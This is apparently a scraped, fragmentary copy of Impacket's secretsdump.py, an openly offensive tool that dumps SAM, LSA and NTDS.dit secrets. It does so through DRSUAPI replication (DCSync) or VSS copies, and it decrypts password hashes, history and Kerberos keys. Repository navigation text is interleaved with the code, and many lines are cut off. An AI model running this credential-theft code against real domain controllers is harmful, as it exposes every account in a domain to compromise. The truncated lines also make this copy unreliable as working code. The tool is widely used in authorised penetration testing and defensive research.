



```
1      # Impacket - Collection of Python classes for working with network protocols.
2      #
3      # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
4      #
5      # This software is provided under a slightly modified version
6      # of the Apache Software License. See the accompanying LICENSE file
7      # for more information.
8      #
9      # Description:
10     #   Performs various techniques to dump hashes from the
11     #   remote machine without executing any agent there.
12     #   For SAM and LSA Secrets (including cached creds)
13     #   we try to read as much as we can from the registry
14     #   and then we save the hives in the target system
15     #   (%SYSTEMROOT%\Temp dir) and read the rest of the
16     #   data from there.
17     #   For NTDS.dit we either:
18     #       a. Get the domain users list and get its hashes
19     #           and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
20     #           call, replicating just the attributes we need.
21     #       b. Extract NTDS.dit via vssadmin executed with the
22     #           smbexec approach.
23     #           It's copied on the temp dir and parsed remotely.
24     #
25     #   The script initiates the services required for its working
26     #   if they are not available (e.g. Remote Registry, even if it is
27     #   disabled). After the work is done, things are restored to the
28     #   original state.
29     #
30     # Author:
31     #   Alberto Solino (@agsolino)
32     #
33     # References:
34     #   Most of the work done by these guys. I just put all
35     #   the pieces together, plus some extra magic.
36     #   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
37     #   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
38     #   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
39     #   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
40     #   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog/read+13
41     #   - https://code.google.com/p/creddump/
42     #   - https://lab.mediaservice.net/code/cachedump.rb
43     #   - https://insecurety.net/?p=768
44     #   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/
45     #   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-f
46     #   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
47     #
48     from __future__ import division
49     from __future__ import print_function
50     import codecs
51     import json
52     import hashlib
53     import logging
54     import ntpath
55     import os
56     import re
57     import random
```

```
57     import random
58     import string
59     import time
60     from binascii import unhexlify, hexlify
61     from collections import OrderedDict
62     from datetime import datetime
63     from struct import unpack, pack
64     from six import b, PY2
65
66     from impacket import LOG
67     from impacket import system_errors
68     from impacket import winregistry, ntlm
69     from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
70     from impacket.dcerpc.v5.dtypes import NULL
71     from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RP
72     from impacket.dcerpc.v5.dcom import wmi
73     from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH
74         VARIANT, VARENUM, DISPATCH_METHOD
75     from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJR
```



```
2286             LOG.error('Cannot get SAMAccountName for %s' % record['pmsgOut'])
2287             userName = 'unknown'
2288         else:
2289             LOG.error('Cannot get SAMAccountName for %s' % record['pmsgOut'])
2290             userName = 'unknown'
2291     elif attId == LOOKUP_TABLE['objectSid']:
2292         if attr['AttrVal']['valCount'] > 0:
2293             objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2294         else:
2295             LOG.error('Cannot get objectSid for %s' % record['pmsgOut'])
```

```
2295         LOG.error('Cannot get objectId for %s' % record['pmsgOut'])
2296         objectSid = rid
2297     elif attId == LOOKUP_TABLE['pwdLastSet']:
2298         if attr['AttrVal']['valCount'] > 0:
2299             try:
2300                 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(
2301                     except:
2302                 LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'])
2303                 pwdLastSet = 'N/A'
2304     elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:
2305         if attr['AttrVal']['valCount'] > 0:
2306             if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal'])))
2307                 userAccountStatus = 'Disabled'
2308             else:
2309                 userAccountStatus = 'Enabled'
2310         else:
2311             userAccountStatus = 'N/A'
2312
2313     if self.__history:
2314         if attId == LOOKUP_TABLE['lmPwdHistory']:
2315             if attr['AttrVal']['valCount'] > 0:
2316                 encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['
2317                 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteO
2318                 for i in range(0, len(tmpLMHistory) // 16):
2319                     LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i *
2320                     LMHistory.append(LMHashHistory)
2321             else:
2322                 LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'])
2323     elif attId == LOOKUP_TABLE['ntPwdHistory']:
2324         if attr['AttrVal']['valCount'] > 0:
2325             encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['
2326             tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteO
2327             for i in range(0, len(tmpNTHistory) // 16):
2328                 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i *
2329                 NTHistory.append(NTHashHistory)
2330         else:
2331             LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'])
2332
2333     if domain is not None:
2334         userName = '%s\\%s' % (domain, userName)
2335
2336     answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'))
2337     if self.__pwdLastSet is True:
2338         answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
2339     if self.__printUserStatus is True:
2340         answer = "%s (status=%s)" % (answer, userAccountStatus)
2341     self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2342
2343     if outputFile is not None:
2344         self.__writeOutput(outputFile, answer + '\n')
2345
2346     if self.__history:
2347         for i, (LMHashHistory, NTHashHistory) in enumerate(
2348             map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHis
2349             if self.__noLMHash:
2350                 lmhash = hexlify(ntlm.LMOWFv1('', ''))
2351             else:
2352                 lmhash = hexlify(LMHashHistory)
2353
2354             answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.dec
2355                                     hexlify(NTHashHistory).decod
2356             self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2357             if outputFile is not None:
2358                 self.__writeOutput(outputFile, answer + '\n')
2359
2360     if outputFile is not None:
2361         outputFile.flush()
2362
2363     LOG.debug('Leaving NTDSHashes.__decryptHash')
2364
2365     def dump(self):
2366         hashesOutputFile = None
2367         keysOutputFile = None
2368         clearTextOutputFile = None
2369
```


Files

7d2991d

Go to file

> .github

> examples

> impacket

> dcerpc

> examples

> ntlmrelayx

__init__.py

ldap_shell.py

logger.py

os_ident.py

remcomsvc.py

rpcdatabase.py

secretsdump.py

serviceinstall.py

smbclient.py

utils.py

> krb5

> ldap

Dot11Crypto.py

Dot11KeyManager.py

ICMP6.py

IP6.py

IP6_Address.py

IP6_Extension-Headers.py

ImpactDecoder.py

ImpactPacket.py

NDP.py

__init__.py

cdp.py

crypto.py

dhcp.py

...

```
2370         if self.__useVSSMethod is True:
2371             if self.__NTDS is None:
2372                 # No NTDS.dit file provided and were asked to use VSS
2373                 return
2374         else:
2375             if self.__NTDS is None:
2376                 # DRSUAPI method, checking whether target is a DC
2377                 try:
2378                     if self.__remoteOps is not None:
2379                         try:
2380                             self.__remoteOps.connectSamr(self.__remoteOps.getMachineName())
2381                         except:
2382                             if os.getenv('KRB5CCNAME') is not None and self.__justUser:
2383                                 # RemoteOperations failed. That might be because there
2384                                 # target system. We just have a last resort. Hope we ha
2385                                 # will work
2386                             pass

impacket / impacket / examples / secretsdump.py ↑ Top

Code Blame 2679 lines (2336 loc) · 117 KB Raw Copy Download Toggle

2391         except Exception as e:
2392             LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
2393             # Target's not a DC
2394             return
2395
2396         try:
2397             # Let's check if we need to save results in a file
2398             if self.__outputFileName is not None:
2399                 LOG.debug('Saving output to %s' % self.__outputFileName)
2400                 # We have to export. Are we resuming a session?
2401                 if self.__resumeSession.hasResumeData():
2402                     mode = 'a+'
2403                 else:
2404                     mode = 'w+'
2405                 hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)
2406                 if self.__justNTLM is False:
2407                     keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mo
2408                     clearTextOutputFile = openFile(self.__outputFileName+'.ntds.clearte
2409
2410             LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
2411             if self.__useVSSMethod:
2412                 # We start getting rows from the table aiming at reaching
2413                 # the pekList. If we find users records we stored them
2414                 # in a temp list for later process.
2415                 self.__getPek()
2416                 if self.__PEK is not None:
2417                     LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
2418                     # First of all, if we have users already cached, let's decrypt thei
2419                     for record in self.__tmpUsers:
2420                         try:
2421                             self.__decryptHash(record, outputFile=hashesOutputFile)
2422                             if self.__justNTLM is False:
2423                                 self.__decryptSupplementalInfo(record, None, keysOutput
2424                         except Exception as e:
2425                             LOG.debug('Exception', exc_info=True)
2426                             try:
2427                                 LOG.error(
2428                                     "Error while processing row for user %s" % record[s
2429                                 LOG.error(str(e))
2430                                 pass
2431                             except:
2432                                 LOG.error("Error while processing row!")
2433                                 LOG.error(str(e))
2434                                 pass
2435
2436                 # Now let's keep moving through the NTDS file and decrypting what w
2437                 while True:
2438                     try:
2439                         record = self.__ESEDB.getNextRow(self.__cursor, filter_tabl
2440                     except:
2441                         LOG.error('Error while calling getNextRow(), trying the nex
2442                         continue
2443
2444                     if record is None:
```

Page 33 of 37

- uris.py
- dot11.py
- dpapi.py
- eap.py
- ese.py
- helper.py
- hresult_errors.py
- http.py
- mapi_constants.py
- mqtt.py
- nmb.py

```
2445         break
2446     try:
2447         if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.
2448             self.__decryptHash(record, outputFile=hashesOutputFile)
2449             if self.__justNTLM is False:
2450                 self.__decryptSupplementalInfo(record, None, keysOu
2451 except Exception as e:
2452     LOG.debug('Exception', exc_info=True)
2453     try:
2454         LOG.error(
2455             "Error while processing row for user %s" % record[s
2456         LOG.error(str(e))
2457         pass
2458     except:
2459         LOG.error("Error while processing row!")
2460         LOG.error(str(e))
2461         pass
2462 else:
2463     LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
2464     status = STATUS_MORE_ENTRIES
2465     enumerationContext = 0
2466
2467     # Do we have to resume from a previously saved session?
2468     if self.__resumeSession.hasResumeData():
2469         resumeSid = self.__resumeSession.getResumeData()
2470         LOG.info('Resuming from SID %s, be patient' % resumeSid)
2471     else:
2472         resumeSid = None
2473     # We do not create a resume file when asking for a single user
2474     if self.__justUser is None:
2475         self.__resumeSession.beginTransaction()
2476
2477     if self.__justUser is not None:
2478         # Depending on the input received, we need to change the formatOffe
2479         # DRSCrackNames.
2480         # There are some instances when you call -just-dc-user and you rece
2481         # That's because we don't specify the domain for the user (and ther
2482         # Always remember that if you specify a domain, you should specify
2483         # not the FQDN. Just for this time. It's confusing I know, but that
2484         if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0
2485             self.__justUser = self.__justUser.replace('/', '\\')
2486             formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
2487         else:
2488             formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
2489
2490         crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
2491                                                         drsuapi.DS_NAME_FORMAT
2492                                                         name=self.__justUser)
2493
2494         if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
2495             if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status
2496                 raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
2497                     0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItem
2498
2499             userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsg
2500             #userRecord.dump()
2501             replyVersion = 'V%d' % userRecord['pdwOutVersion']
2502             if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
2503                 raise Exception('DRSGetNCChanges didn\'t return any object!
2504         else:
2505             LOG.warning('DRSCrackNames returned %d items for user %s, skip
2506             crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justU
2507     try:
2508         self.__decryptHash(userRecord,
2509                             userRecord['pmsgOut'][replyVersion]['PrefixT
2510                             hashesOutputFile)
2511         if self.__justNTLM is False:
2512             self.__decryptSupplementalInfo(userRecord, userRecord['pmsg
2513                 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
2514
2515     except Exception as e:
2516         LOG.error("Error while processing user!")
2517         LOG.debug("Exception", exc_info=True)
2518         LOG.error(str(e))
```

2519

2520

2521

2522

else:

while status == STATUS_MORE_ENTRIES:

resp = self.__remoteOps.getDomainUsers(enumerationContext)

```

2606             hashesOutputFile.close()
2607
2608             if keysOutputFile is not None:
2609                 keysOutputFile.close()
2610
2611             if clearTextOutputFile is not None:
2612                 clearTextOutputFile.close()
2613
2614             self.__resumeSession.endTransaction()
2615
2616         @classmethod
2617     def __writeOutput(cls, fd, data):
2618         try:
2619             fd.write(data)
2620         except Exception as e:
2621             LOG.error("Error writing entry, skipping (%s)" % str(e))
2622             pass
2623
2624     def finish(self):
2625         if self.__NTDS is not None:
2626             self.__ESEDB.close()
2627
2628     class LocalOperations:
2629     def __init__(self, systemHive):
2630         self.__systemHive = systemHive
2631
2632     def getBootKey(self):
2633         # Local Version whenever we are given the files directly
2634         bootKey = b''
2635         tmpKey = b''
2636         winreg = winregistry.Registry(self.__systemHive, False)
2637         # We gotta find out the Current Control Set
2638         currentControlSet = winreg.getValue('\\Select\\Current')[1]
2639         currentControlSet = "ControlSet%03d" % currentControlSet
2640         for key in ['JD', 'Skew1', 'GBG', 'Data']:
2641             LOG.debug('Retrieving class info for %s' % key)
2642             ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
2643             digit = ans[:16].decode('utf-16le')
2644             tmpKey = tmpKey + b(digit)
2645
2646         transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
2647
2648         tmpKey = unhexlify(tmpKey)
2649
2650         for i in range(len(tmpKey)):
2651             bootKey += tmpKey[transforms[i]:transforms[i] + 1]
2652
2653         LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))
2654
2655         return bootKey
2656
2657
2658     def checkNoLMHashPolicy(self):
2659         LOG.debug('Checking NoLMHash Policy')
2660         winreg = winregistry.Registry(self.__systemHive, False)
2661         # We gotta find out the Current Control Set
2662         currentControlSet = winreg.getValue('\\Select\\Current')[1]
2663         currentControlSet = "ControlSet%03d" % currentControlSet
2664
2665         # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
2666         noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
2667         if noLmHash is not None:
2668             noLmHash = noLmHash[1:]

```

```
2668         noLmHash = noLmHash[-1]
2669     else:
2670         noLmHash = 0
2671
2672     if noLmHash != 1:
2673         LOG.debug('LMHashes are being stored')
2674         return False
2675     LOG.debug('LMHashes are NOT being stored')
2676     return True
2677
2678 def _print_helper(*args, **kwargs):
2679     print(args[-1])
```